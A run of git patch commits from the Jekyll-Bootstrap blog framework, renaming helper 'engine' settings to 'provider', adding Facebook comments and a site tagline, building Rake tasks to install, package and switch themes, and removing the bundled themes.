"custom" # - # Setting any helper's engine to 'custom' will bypass the helper code + # Setting any helper's provider to 'custom' will bypass the helper code # and include your custom code. Your custom file must be defined at: # ./_includes/custom/[HELPER] # where [HELPER] is the name of the helper you are overriding. diff --git a/_includes/JB/analytics b/_includes/JB/analytics index 6dd2406..9280e8d 100644 --- a/_includes/JB/analytics +++ b/_includes/JB/analytics @@ -1,10 +1,10 @@ -{% if site.safe and site.JB.analytics.engine and page.JB.analytics != false %} +{% if site.safe and site.JB.analytics.provider and page.JB.analytics != false %} -{% case site.JB.analytics.engine %} +{% case site.JB.analytics.provider %} {% when "google" %} - {% include JB/analytics-engines/google %} + {% include JB/analytics-providers/google %} {% when "getclicky" %} - {% include JB/analytics-engines/getclicky %} + {% include JB/analytics-providers/getclicky %} {% when "custom" %} {% include custom/analytics %} {% endcase %} diff --git a/_includes/JB/analytics-engines/getclicky b/_includes/JB/analytics-providers/getclicky similarity index 100% rename from _includes/JB/analytics-engines/getclicky rename to _includes/JB/analytics-providers/getclicky diff --git a/_includes/JB/analytics-engines/google b/_includes/JB/analytics-providers/google similarity index 100% rename from _includes/JB/analytics-engines/google rename to _includes/JB/analytics-providers/google diff --git a/_includes/JB/categories_list b/_includes/JB/categories_list index 1f7e45b..83be2e2 100644 --- a/_includes/JB/categories_list +++ b/_includes/JB/categories_list @@ -17,7 +17,7 @@ Usage: This helper can be seen in use at: ../_layouts/default.html -->{% endcomment %} -{% if site.JB.categories_list.engine == "custom" %} +{% if site.JB.categories_list.provider == "custom" %} {% include custom/categories_list %} {% else %} {% if categories_list.first[0] == null %} diff --git a/_includes/JB/comments b/_includes/JB/comments index 81cddea..58fdff6 100644 --- a/_includes/JB/comments +++ b/_includes/JB/comments @@ -1,14 +1,14 @@ -{% if site.JB.comments.engine and page.JB.comments != false %} +{% if site.JB.comments.provider and page.JB.comments != false %} -{% case site.JB.comments.engine %} +{% case site.JB.comments.provider %} {% when "disqus" %} - {% include JB/comments-engines/disqus %} + {% include JB/comments-providers/disqus %} {% when "livefyre" %} - {% include JB/comments-engines/livefyre %} + {% include JB/comments-providers/livefyre %} {% when "intensedebate" %} - {% include JB/comments-engines/intensedebate %} + {% include JB/comments-providers/intensedebate %} {% when "facebook" %} - {% include JB/comments-engines/facebook %} + {% include JB/comments-providers/facebook %} {% when "custom" %} {% include custom/comments %} {% endcase %} diff --git a/_includes/JB/comments-engines/disqus b/_includes/JB/comments-providers/disqus similarity index 100% rename from _includes/JB/comments-engines/disqus rename to _includes/JB/comments-providers/disqus diff --git a/_includes/JB/comments-engines/facebook b/_includes/JB/comments-providers/facebook similarity index 100% rename from _includes/JB/comments-engines/facebook rename to _includes/JB/comments-providers/facebook diff --git a/_includes/JB/comments-engines/intensedebate b/_includes/JB/comments-providers/intensedebate similarity index 100% rename from _includes/JB/comments-engines/intensedebate rename to _includes/JB/comments-providers/intensedebate diff --git a/_includes/JB/comments-engines/livefyre b/_includes/JB/comments-providers/livefyre similarity index 100% rename from _includes/JB/comments-engines/livefyre rename to _includes/JB/comments-providers/livefyre diff --git a/_includes/JB/liquid_raw b/_includes/JB/liquid_raw index 869e9a1..a5c1783 100644 --- a/_includes/JB/liquid_raw +++ b/_includes/JB/liquid_raw @@ -24,7 +24,7 @@ Usage: As seen here, you must use "|." and ".|" as opening and closing brackets. -->{% endcomment%} -{% if site.JB.liquid_raw.engine == "custom" %} +{% if site.JB.liquid_raw.provider == "custom" %} {% include custom/liquid_raw %} {% else %} <pre><code>{{text | replace:"|.", "{" | replace:".|", "}" | replace:">", ">" | replace:"<", "<" }}</code></pre> diff --git a/_includes/JB/pages_list b/_includes/JB/pages_list index 07cb058..1afc3f3 100644 --- a/_includes/JB/pages_list +++ b/_includes/JB/pages_list @@ -20,7 +20,7 @@ Usage: This helper can be seen in use at: ../_layouts/default.html -->{% endcomment %} -{% if site.JB.pages_list.engine == "custom" %} +{% if site.JB.pages_list.provider == "custom" %} {% include custom/pages_list %} {% else %} {% for node in pages_list %} diff --git a/_includes/JB/posts_collate b/_includes/JB/posts_collate index 588c6fe..f612ade 100644 --- a/_includes/JB/posts_collate +++ b/_includes/JB/posts_collate @@ -17,7 +17,7 @@ Usage: -->{% endcomment %} -{% if site.JB.posts_collate.engine == "custom" %} +{% if site.JB.posts_collate.provider == "custom" %} {% include custom/posts_collate %} {% else %} {% for post in posts_collate %} diff --git a/_includes/JB/setup b/_includes/JB/setup index ce7ce7d..e6d8b88 100644 --- a/_includes/JB/setup +++ b/_includes/JB/setup @@ -2,7 +2,7 @@ <!-- - Dynamically set liquid variables for working with URLs/paths --> - {% if site.JB.setup.engine == "custom" %} + {% if site.JB.setup.provider == "custom" %} {% include custom/setup %} {% else %} {% if site.safe and site.JB.BASE_PATH %} diff --git a/_includes/JB/sharing b/_includes/JB/sharing index 8850b23..f5b1151 100644 --- a/_includes/JB/sharing +++ b/_includes/JB/sharing @@ -1,6 +1,6 @@ -{% if site.safe and site.JB.sharing.engine and page.JB.sharing != false %} +{% if site.safe and site.JB.sharing.provider and page.JB.sharing != false %} -{% case site.JB.sharing.engine %} +{% case site.JB.sharing.provider %} {% when "custom" %} {% include custom/sharing %} {% endcase %} diff --git a/_includes/JB/tags_list b/_includes/JB/tags_list index 9a93d90..8eb62a7 100644 --- a/_includes/JB/tags_list +++ b/_includes/JB/tags_list @@ -17,7 +17,7 @@ Usage: This helper can be seen in use at: ../_layouts/default.html -->{% endcomment %} -{% if site.JB.tags_list.engine == "custom" %} +{% if site.JB.tags_list.provider == "custom" %} {% include custom/tags_list %} {% else %} {% if tags_list.first[0] == null %} From c1972379f3fa93998947f355948359c24f1307a5 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Tue, 24 Jan 2012 05:46:21 -0800 Subject: [PATCH 060/144] version 0.1.0 --- README.md | 15 ++------------- _config.yml | 3 ++- 2 files changed, 4 insertions(+), 14 deletions(-) diff --git a/README.md b/README.md index 67305ee..5888cd2 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,6 @@ # Jekyll-Bootstrap -This is a clean install of the core Jekyll Bootstrap framework you can clone and run your Jekyll blog with. - -Jekyll-bootstrap is the quickest and most hassle-free way to get your new Jekyll powered website up and running. -100% compatible with GitHub pages. +The quickest way to start and publish your Jekyll powered blog. 100% compatible with GitHub pages ## Usage @@ -11,15 +8,7 @@ For all usage and documentation please see: <http://jekyllbootstrap.com> ## Version -0.0.1 - stable but not versioned. - -This version is stable and readily deployable to GitHub Pages and production Jekyll installs. -However, please expect fast updates that are not backwards compatible with older installs. -When development reaches 0.1.0, version compatibility between releases will be respected. - -## Development - -Development is active! +0.1.0 - stable and versioned using [semantic versioning](http://semver.org/). ## Contributing diff --git a/_config.yml b/_config.yml index fab2c35..9e10c6b 100644 --- a/_config.yml +++ b/_config.yml @@ -30,7 +30,8 @@ production_url : http://username.github.com # All Jekyll-Bootstrap specific configurations are namespaced into this hash # JB : - + version : 0.1.0 + # All links will be namespaced by BASE_PATH if defined. # This is required for hosting GitHub Project Pages. # If you are deploying this website for one of your GitHub projects From 266475ee790761eb1e0e73ffaaf3ee0422633233 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Tue, 24 Jan 2012 05:58:16 -0800 Subject: [PATCH 061/144] Remove BASE_PATH setting Had this set for testing purposes. Not a good idea to ship with it --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index 9e10c6b..70630ab 100644 --- a/_config.yml +++ b/_config.yml @@ -40,7 +40,7 @@ JB : # Leave this blank if you have defined a CNAME for your site (pages.github.com) # NOTE: When in localhost, your site will run from root "/" regardless of BASE_PATH # - BASE_PATH : "/narly" + BASE_PATH : "" # By default, the asset_path is automatically defined relative to BASE_PATH plus the enabled theme. # ex: [BASE_PATH]/assets/themes/[THEME-NAME] From 9ba7f1b3ebd91ab8a4013b45c6458f60bb8872e6 Mon Sep 17 00:00:00 2001 From: Michael-Keith Bernard <mkbernard.dev@gmail.com> Date: Sun, 29 Jan 2012 17:18:39 -0800 Subject: [PATCH 062/144] Adding a site-wide configuration option for tagline. The twitter theme will still explicitly require a per-page tagline. Adding rvmrc to gitignore for those of us still using Ruby Version Manager. --- .gitignore | 1 + _config.yml | 3 ++- _includes/themes/tom/default.html | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index d7a8f1a..f27ec24 100644 --- a/.gitignore +++ b/.gitignore @@ -6,3 +6,4 @@ Thumbs.db !.gitkeep .rbenv-version +.rvmrc diff --git a/_config.yml b/_config.yml index 70630ab..76c49f2 100644 --- a/_config.yml +++ b/_config.yml @@ -10,6 +10,7 @@ pygments: true # so be sure to set them if your theme uses them. # title : Jekyll Bootstrap +tagline: Site Tagline author : name : Name Lastname email : blah@email.test @@ -103,4 +104,4 @@ JB : # and include your custom code. Your custom file must be defined at: # ./_includes/custom/[HELPER] # where [HELPER] is the name of the helper you are overriding. - \ No newline at end of file + diff --git a/_includes/themes/tom/default.html b/_includes/themes/tom/default.html index 1475ad4..8e1d878 100644 --- a/_includes/themes/tom/default.html +++ b/_includes/themes/tom/default.html @@ -33,7 +33,7 @@ <div class="contact"> <p> {{ site.author.name }}<br /> - tagline<br /> + {{ site.tagline }}<br /> {{ site.author.email }} </p> </div> From 683d1bec4d27dcf8cfc62babb88cdcbabf2cb957 Mon Sep 17 00:00:00 2001 From: James Fleeting <twofivethreetwo@gmail.com> Date: Mon, 30 Jan 2012 20:17:27 -0600 Subject: [PATCH 063/144] Adding Facebook Comments --- _config.yml | 5 ++++- _includes/JB/comments-providers/facebook | 10 +++++++++- 2 files changed, 13 insertions(+), 2 deletions(-) diff --git a/_config.yml b/_config.yml index 76c49f2..37ac40e 100644 --- a/_config.yml +++ b/_config.yml @@ -73,7 +73,10 @@ JB : intensedebate : account : 123abc facebook : - apikey : 123 + appid : 123 + num_posts: 5 + width: 580 + colorscheme: light # Settings for analytics helper # Set 'provider' to the analytics provider you want to use. diff --git a/_includes/JB/comments-providers/facebook b/_includes/JB/comments-providers/facebook index f8c7d21..6b3e5e0 100644 --- a/_includes/JB/comments-providers/facebook +++ b/_includes/JB/comments-providers/facebook @@ -1 +1,9 @@ -<h3>Facebook comments TODO!</h3> \ No newline at end of file +<div id="fb-root"></div> +<script>(function(d, s, id) { + var js, fjs = d.getElementsByTagName(s)[0]; + if (d.getElementById(id)) return; + js = d.createElement(s); js.id = id; + js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId={{ site.JB.comments.facebook.appid }}"; + fjs.parentNode.insertBefore(js, fjs); +}(document, 'script', 'facebook-jssdk'));</script> +<div class="fb-comments" data-href="{{ site.production_url }}" data-num-posts="{{ site.JB.comments.facebook.num_posts }}" data-width="{{ site.JB.comments.facebook.width }}" data-colorscheme="{{ site.JB.comments.facebook.colorscheme }}"></div> \ No newline at end of file From 53a801b0e26639892b433dea6069fb8fe8030e75 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Tue, 31 Jan 2012 16:19:11 -0800 Subject: [PATCH 064/144] Implement theme installer v 0.1.0 --- Rakefile | 101 ++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 100 insertions(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 1b0faad..bdfac0d 100644 --- a/Rakefile +++ b/Rakefile @@ -1,14 +1,43 @@ require "rubygems" require 'rake' +require 'yaml' SOURCE = "." CONFIG = { 'themes' => File.join(SOURCE, "_includes", "themes"), 'layouts' => File.join(SOURCE, "_layouts"), 'posts' => File.join(SOURCE, "_posts"), - 'post_ext' => "md" + 'post_ext' => "md", + 'theme_package_version' => "0.1.0" } +# Path configuration helper +module JB + class Path + SOURCE = "." + Paths = { + :layouts => "_layouts", + :themes => "_includes/themes", + :theme_assets => "assets/themes", + :theme_packages => "_theme_packages", + :posts => "_posts" + } + + def self.base + SOURCE + end + + # build a path relative to configured path settings. + def self.build(path, opts = {}) + opts[:root] ||= SOURCE + path = "#{opts[:root]}/#{Paths[path.to_sym]}/#{opts[:node]}".split("/") + path.compact! + File.__send__ :join, path + end + + end #Path +end #JB + # Usage: rake post title="A Title" desc "Begin a new post in #{CONFIG['posts']}" task :post do @@ -92,6 +121,76 @@ task :preview do system "jekyll --auto --server" end # task :preview +namespace :theme do + + # 0.1.0 version of theme install will be simple 1:1 file matching. + desc "Install theme" + task :install do + name = ENV["name"].to_s.downcase + packaged_theme_path = JB::Path.build(:theme_packages, :node => name) + + abort("rake aborted: name cannot be blank") if name.empty? + abort("rake aborted: '#{packaged_theme_path}' directory not found.") unless FileTest.directory?(packaged_theme_path) + + # Get relative paths to packaged theme files + packaged_theme_files = [] + FileUtils.cd(packaged_theme_path) { packaged_theme_files += Dir["**/*.*"] } + # Don't install metadata files. + packaged_theme_files.delete_if { |f| f =~ /^(manifest|readme|packager)/i } + + # Mirror each file into the framework making sure to prompt if already exists. + packaged_theme_files.each do |filename| + file_install_path = File.join(JB::Path.base, filename) + if File.exist? file_install_path + next if ask("#{file_install_path} already exists. Do you want to overwrite?", ['y', 'n']) == 'n' + else + mkdir_p File.dirname(file_install_path) + cp_r File.join(packaged_theme_path, filename), file_install_path + end + end + + puts "=> #{name} theme has been installed!" + puts "=> ---" + if ask("=> Want to switch themes now?", ['y', 'n']) == 'y' + system("rake switch_theme name='#{name}'") + end + end + + # The 0.1.0 version of theme packaging will be simple 1:1 file matching. + # The theme repo will outline it's files in the same structure + # it expects to be included into the Jekyll structure. + desc "Package theme" + task :package do + name = ENV["name"].to_s.downcase + theme_path = JB::Path.build(:themes, :node => name) + asset_path = JB::Path.build(:theme_assets, :node => name) + + abort("rake aborted: name cannot be blank") if name.empty? + abort("rake aborted: '#{theme_path}' directory not found.") unless FileTest.directory?(theme_path) + abort("rake aborted: '#{asset_path}' directory not found.") unless FileTest.directory?(asset_path) + + ## Mirror theme's template directory (_includes) + packaged_theme_path = JB::Path.build(:themes, :root => JB::Path.build(:theme_packages, :node => name)) + mkdir_p packaged_theme_path + cp_r theme_path, packaged_theme_path + + ## Mirror theme's asset directory + packaged_theme_assets_path = JB::Path.build(:theme_assets, :root => JB::Path.build(:theme_packages, :node => name)) + mkdir_p packaged_theme_assets_path + cp_r asset_path, packaged_theme_assets_path + + ## Log packager version + packager = {"packager" => {"version" => CONFIG["theme_package_version"].to_s } } + open(JB::Path.build(:theme_packages, :node => "#{name}/packager.yml"), "w") do |page| + page.puts packager.to_yaml + end + + puts "=> '#{name}' theme is packaged and available at: #{JB::Path.build(:theme_packages, :node => name)}" + end + +end # end namespace :theme + + def ask(message, valid_options) if valid_options answer = get_stdin("#{message} #{valid_options.to_s.gsub(/"/, '').gsub(/, /,'/')} ") while !valid_options.include?(answer) From 21b64c2b1c06096026c4e78763dd3467fe0f43d5 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Wed, 1 Feb 2012 15:03:57 -0800 Subject: [PATCH 065/144] Update theme packager methods Allow users to pass git url for a given theme to be installed. Use manifest to maintain compatibility. Add TomDoc comments --- Rakefile | 75 ++++++++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 68 insertions(+), 7 deletions(-) diff --git a/Rakefile b/Rakefile index bdfac0d..3e04930 100644 --- a/Rakefile +++ b/Rakefile @@ -123,15 +123,35 @@ end # task :preview namespace :theme do - # 0.1.0 version of theme install will be simple 1:1 file matching. + # Public: Install a theme using the theme packager. + # Version 0.1.0 simple 1:1 file matching. + # + # git - String, Optional path to the git repository of the theme to be installed. + # name - String, Optional name of the theme you want to install. + # Passing name requires that the theme package already exist. + # + # Examples + # + # rake theme:install git="https://github.com/jekyllbootstrap/theme-twitter.git" + # rake theme:install name="cool-theme" + # + # Returns Success/failure messages. desc "Install theme" task :install do - name = ENV["name"].to_s.downcase - packaged_theme_path = JB::Path.build(:theme_packages, :node => name) + if ENV["git"] + manifest = theme_from_git_url(ENV["git"]) + name = manifest["name"] + else + name = ENV["name"].to_s.downcase + end + packaged_theme_path = JB::Path.build(:theme_packages, :node => name) + abort("rake aborted: name cannot be blank") if name.empty? abort("rake aborted: '#{packaged_theme_path}' directory not found.") unless FileTest.directory?(packaged_theme_path) + manifest = verify_manifest(packaged_theme_path) + # Get relative paths to packaged theme files packaged_theme_files = [] FileUtils.cd(packaged_theme_path) { packaged_theme_files += Dir["**/*.*"] } @@ -155,10 +175,18 @@ namespace :theme do system("rake switch_theme name='#{name}'") end end - - # The 0.1.0 version of theme packaging will be simple 1:1 file matching. - # The theme repo will outline it's files in the same structure - # it expects to be included into the Jekyll structure. + + # Public: Package a theme using the theme packager. + # The theme must be structured using valid JB API. + # In other words packaging is essentially the reverse of installing. + # + # name - String, Required name of the theme you want to package. + # + # Examples + # + # rake theme:package name="twitter" + # + # Returns Success/failure messages. desc "Package theme" task :package do name = ENV["name"].to_s.downcase @@ -190,6 +218,39 @@ namespace :theme do end # end namespace :theme +# Internal: Download and process a theme from a git url. +# Notice we don't know the name of the theme until we look it up in the manifest. +# So we'll have to change the folder name once we get the name. +# +# url - String, Required url to git repository. +# +# Returns theme manifest hash +def theme_from_git_url(url) + tmp_path = JB::Path.build(:theme_packages, :node => "_tmp") + system("git clone #{url} #{tmp_path}") + manifest = verify_manifest(tmp_path) + new_path = JB::Path.build(:theme_packages, :node => manifest["name"]) + if File.exist?(new_path) && ask("=> #{new_path} theme package already exists. Override?", ['y', 'n']) == 'n' + remove_dir(tmp_path) + abort("rake aborted: '#{manifest["name"]}' already exists as theme package.") + end + + remove_dir(new_path) if File.exist?(new_path) + mv(tmp_path, new_path) + manifest +end + +# Internal: Process theme package manifest file. +# +# theme_path - String, Required. File path to theme package. +# +# Returns theme manifest hash +def verify_manifest(theme_path) + manifest = File.join(theme_path, "manifest.yml") + abort("rake aborted: repo must contain valid manifest.yml") unless File.exist? manifest + manifest = YAML.load_file(manifest) + manifest +end def ask(message, valid_options) if valid_options From d25b40e9ea03d61be338b232c734b95a0f350e16 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Wed, 1 Feb 2012 15:08:02 -0800 Subject: [PATCH 066/144] don't track _theme_packages directory This should be treated as a staging directory --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index f27ec24..d0174fb 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,5 @@ _site/* +_theme_packages/* Thumbs.db .DS_Store From 533d840a7556217ebc8250e157de843b9a9f5f04 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Wed, 1 Feb 2012 15:15:35 -0800 Subject: [PATCH 067/144] Namespace 'switch_theme' Make sure to maintain backwards compatibility --- Rakefile | 75 +++++++++++++++++++++++++++++++++----------------------- 1 file changed, 44 insertions(+), 31 deletions(-) diff --git a/Rakefile b/Rakefile index 3e04930..fe7a9d1 100644 --- a/Rakefile +++ b/Rakefile @@ -85,44 +85,57 @@ task :page do end end # task :page -desc "Switch between Jekyll-bootstrap themes." -task :switch_theme do - theme_name = ENV["name"].to_s - theme_path = File.join(CONFIG['themes'], theme_name) - settings_file = File.join(theme_path, "settings.yml") - non_layout_files = ["settings.yml"] - - abort("rake aborted: name cannot be blank") if theme_name.empty? - abort("rake aborted: '#{theme_path}' directory not found.") unless FileTest.directory?(theme_path) - abort("rake aborted: '#{CONFIG['layouts']}' directory not found.") unless FileTest.directory?(CONFIG['layouts']) - - Dir.glob("#{theme_path}/*") do |filename| - next if non_layout_files.include?(File.basename(filename).downcase) - puts "Generating '#{theme_name}' layout: #{File.basename(filename)}" - - open(File.join(CONFIG['layouts'], File.basename(filename)), 'w') do |page| - if File.basename(filename, ".html").downcase == "default" - page.puts "---" - page.puts File.read(settings_file) if File.exist?(settings_file) - page.puts "---" - else - page.puts "---" - page.puts "layout: default" - page.puts "---" - end - page.puts "{% include JB/setup %}" - page.puts "{% include themes/#{theme_name}/#{File.basename(filename)} %}" - end - end -end # task :switch_theme - desc "Launch preview environment" task :preview do system "jekyll --auto --server" end # task :preview +# Public: Alias - Maintains backwards compatability for theme switching. +task :switch_theme => "theme:switch" + namespace :theme do + # Public: Switch from one theme to another for your blog. + # + # name - String, Required. name of the theme you want to switch to. + # The the theme must be installed into your JB framework. + # + # Examples + # + # rake theme:switch name="the-program" + # + # Returns Success/failure messages. + desc "Switch between Jekyll-bootstrap themes." + task :switch do + theme_name = ENV["name"].to_s + theme_path = File.join(CONFIG['themes'], theme_name) + settings_file = File.join(theme_path, "settings.yml") + non_layout_files = ["settings.yml"] + + abort("rake aborted: name cannot be blank") if theme_name.empty? + abort("rake aborted: '#{theme_path}' directory not found.") unless FileTest.directory?(theme_path) + abort("rake aborted: '#{CONFIG['layouts']}' directory not found.") unless FileTest.directory?(CONFIG['layouts']) + + Dir.glob("#{theme_path}/*") do |filename| + next if non_layout_files.include?(File.basename(filename).downcase) + puts "Generating '#{theme_name}' layout: #{File.basename(filename)}" + + open(File.join(CONFIG['layouts'], File.basename(filename)), 'w') do |page| + if File.basename(filename, ".html").downcase == "default" + page.puts "---" + page.puts File.read(settings_file) if File.exist?(settings_file) + page.puts "---" + else + page.puts "---" + page.puts "layout: default" + page.puts "---" + end + page.puts "{% include JB/setup %}" + page.puts "{% include themes/#{theme_name}/#{File.basename(filename)} %}" + end + end + end # task :switch + # Public: Install a theme using the theme packager. # Version 0.1.0 simple 1:1 file matching. # From fdfb9c4c6fda97f213320005abff731f79ef822b Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Wed, 1 Feb 2012 17:26:01 -0800 Subject: [PATCH 068/144] Fix prompt complaining that directories already exist When installing from a theme package we create an array of all files to be mirrored. We need to omit directories from this array since directories are recursively created for a given file. This needlessly raised 'directory already exist' errors which was annoying. - Also make error output friendlier --- Rakefile | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/Rakefile b/Rakefile index fe7a9d1..de6e2a9 100644 --- a/Rakefile +++ b/Rakefile @@ -134,6 +134,9 @@ namespace :theme do page.puts "{% include themes/#{theme_name}/#{File.basename(filename)} %}" end end + + puts "=> Theme successfully switched!" + puts "=> Reload your web-page to check it out =)" end # task :switch # Public: Install a theme using the theme packager. @@ -160,16 +163,26 @@ namespace :theme do packaged_theme_path = JB::Path.build(:theme_packages, :node => name) - abort("rake aborted: name cannot be blank") if name.empty? - abort("rake aborted: '#{packaged_theme_path}' directory not found.") unless FileTest.directory?(packaged_theme_path) + abort("rake aborted! + => ERROR: 'name' cannot be blank") if name.empty? + abort("rake aborted! + => ERROR: '#{packaged_theme_path}' directory not found. + => Installable themes can be added via git. You can find some here: http://github.com/jekyllbootstrap + => To download+install run: `rake theme:install git='[PUBLIC-CLONE-URL]'` + => example : rake theme:install git='git@github.com:jekyllbootstrap/theme-the-program.git' + ") unless FileTest.directory?(packaged_theme_path) manifest = verify_manifest(packaged_theme_path) # Get relative paths to packaged theme files + # Exclude directories as they'll be recursively created. Exclude meta-data files. packaged_theme_files = [] - FileUtils.cd(packaged_theme_path) { packaged_theme_files += Dir["**/*.*"] } - # Don't install metadata files. - packaged_theme_files.delete_if { |f| f =~ /^(manifest|readme|packager)/i } + FileUtils.cd(packaged_theme_path) { + Dir.glob("**/*.*") { |f| + next if ( FileTest.directory?(f) || f =~ /^(manifest|readme|packager)/i ) + packaged_theme_files << f + } + } # Mirror each file into the framework making sure to prompt if already exists. packaged_theme_files.each do |filename| From 5b2cc52c18c7fb0b32adade682a019e8889b2c15 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Wed, 1 Feb 2012 17:32:18 -0800 Subject: [PATCH 069/144] Themes are tracked and installed via the packager. Detach themes from core JB framework. --- _includes/themes/mark-reid/default.html | 74 -- _includes/themes/mark-reid/page.html | 6 - _includes/themes/mark-reid/post.html | 28 - _includes/themes/mark-reid/settings.yml | 2 - _includes/themes/the-minimum/default.html | 83 -- _includes/themes/the-minimum/page.html | 28 - _includes/themes/the-minimum/post.html | 71 -- _includes/themes/the-minimum/settings.yml | 2 - _includes/themes/tom/default.html | 58 -- _includes/themes/tom/page.html | 3 - _includes/themes/tom/post.html | 19 - _includes/themes/tom/settings.yml | 2 - assets/themes/mark-reid/css/screen.css | 549 ----------- assets/themes/mark-reid/css/syntax.css | 60 -- assets/themes/the-minimum/css/_layout.less | 365 -------- assets/themes/the-minimum/css/_less-base.less | 213 ----- assets/themes/the-minimum/css/base.css | 153 ---- assets/themes/the-minimum/css/helper.css | 49 - assets/themes/the-minimum/css/module.css | 38 - assets/themes/the-minimum/css/style.css | 852 ------------------ assets/themes/the-minimum/css/style.less | 321 ------- .../the-minimum/css/syntaxhighlighter.css | 68 -- .../the-minimum/font/Junction-webfont.eot | Bin 23668 -> 0 bytes .../the-minimum/font/Junction-webfont.svg | 177 ---- .../the-minimum/font/Junction-webfont.ttf | Bin 23464 -> 0 bytes .../the-minimum/font/Junction-webfont.woff | Bin 15548 -> 0 bytes assets/themes/the-minimum/readme.markdown | 34 - .../the-minimum/skin/100-90-5-monochrome.png | Bin 22346 -> 0 bytes assets/themes/tom/css/screen.css | 197 ---- assets/themes/tom/css/syntax.css | 60 -- 30 files changed, 3512 deletions(-) delete mode 100644 _includes/themes/mark-reid/default.html delete mode 100644 _includes/themes/mark-reid/page.html delete mode 100644 _includes/themes/mark-reid/post.html delete mode 100644 _includes/themes/mark-reid/settings.yml delete mode 100644 _includes/themes/the-minimum/default.html delete mode 100644 _includes/themes/the-minimum/page.html delete mode 100644 _includes/themes/the-minimum/post.html delete mode 100644 _includes/themes/the-minimum/settings.yml delete mode 100644 _includes/themes/tom/default.html delete mode 100644 _includes/themes/tom/page.html delete mode 100644 _includes/themes/tom/post.html delete mode 100644 _includes/themes/tom/settings.yml delete mode 100644 assets/themes/mark-reid/css/screen.css delete mode 100644 assets/themes/mark-reid/css/syntax.css delete mode 100644 assets/themes/the-minimum/css/_layout.less delete mode 100644 assets/themes/the-minimum/css/_less-base.less delete mode 100644 assets/themes/the-minimum/css/base.css delete mode 100644 assets/themes/the-minimum/css/helper.css delete mode 100644 assets/themes/the-minimum/css/module.css delete mode 100644 assets/themes/the-minimum/css/style.css delete mode 100644 assets/themes/the-minimum/css/style.less delete mode 100644 assets/themes/the-minimum/css/syntaxhighlighter.css delete mode 100755 assets/themes/the-minimum/font/Junction-webfont.eot delete mode 100755 assets/themes/the-minimum/font/Junction-webfont.svg delete mode 100755 assets/themes/the-minimum/font/Junction-webfont.ttf delete mode 100755 assets/themes/the-minimum/font/Junction-webfont.woff delete mode 100644 assets/themes/the-minimum/readme.markdown delete mode 100644 assets/themes/the-minimum/skin/100-90-5-monochrome.png delete mode 100644 assets/themes/tom/css/screen.css delete mode 100644 assets/themes/tom/css/syntax.css diff --git a/_includes/themes/mark-reid/default.html b/_includes/themes/mark-reid/default.html deleted file mode 100644 index 91cbf03..0000000 --- a/_includes/themes/mark-reid/default.html +++ /dev/null @@ -1,74 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> - -<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en-us"> -<head> - <meta http-equiv="content-type" content="text/html; charset=utf-8" /> - <title>{{ page.title }} ← {{ page.top }}</title> - <meta name="author" content="{{ site.author.name }}" /> - - <link rel="start" href="{{ HOME_PATH }}" /> - - {% if page.keywords %} - <meta name="keywords" content="{{ page.keywords }}"> - {% endif %} - - {% if page.feed %} - <link rel="alternate" type="application/atom+xml" href="{{ page.feed }}" title="RSS feed" /> - {% endif %} - - <!-- syntax highlighting CSS --> - <link rel="stylesheet" href="{{ ASSET_PATH }}/css/syntax.css" type="text/css" /> - - <!-- Homepage CSS --> - <link rel="stylesheet" href="{{ ASSET_PATH }}/css/screen.css" type="text/css" /> - -</head> -<body id="{{ page.section }}"> -<div id="site"> - - <div id="header"> - <h1> - <a href="{{ HOME_PATH }}" title="{{ site.title }}">{{ site.title }}</a> - <span class="byline">← <a href="{{ HOME_PATH }}">{{ site.author.name }}</a></span> - </h1> - <ul class="nav"> - <li><a class="home" href="{{ HOME_PATH }}">Home</a></li> - <li><a href="/archive.html">Archive</a></li> - <li><a href="/pages.html">Pages</a></li> - <li><a href="/categories.html">Categories</a></li> - <li><a href="/tags.html">Tags</a></li> - </ul> - </div> - - {{ content }} - - <div id="footer"> - <address> - <span class="copyright"> - Content by <a href="/info/site.html">{{ site.author.name }}</a>. Design by - <a href="http://mark.reid.name/">Mark Reid</a> - <br/> - (<a rel="licence" href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Some rights reserved</a>) - </span> - <span class="engine"> - Powered by <a href="http://github.com/mojombo/jekyll/" title="A static, minimalist CMS">Jekyll</a> - </span> - </address> - </div> - -</div> - -<!--[if IE 6]> -<script type="text/javascript"> - /*Load jQuery if not already loaded*/ if(typeof jQuery == 'undefined'){ document.write("<script type=\"text/javascript\" src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js\"></"+"script>"); var __noconflict = true; } - var IE6UPDATE_OPTIONS = { - icons_path: "http://static.ie6update.com/hosted/ie6update/images/" - } -</script> -<script type="text/javascript" src="http://static.ie6update.com/hosted/ie6update/ie6update.js"></script> -<![endif]--> - - {% include JB/analytics %} -</body> -</html> diff --git a/_includes/themes/mark-reid/page.html b/_includes/themes/mark-reid/page.html deleted file mode 100644 index 05af78e..0000000 --- a/_includes/themes/mark-reid/page.html +++ /dev/null @@ -1,6 +0,0 @@ -<div id="page"> - -<h1 class="emphnext">{{ page.title }}</h1> 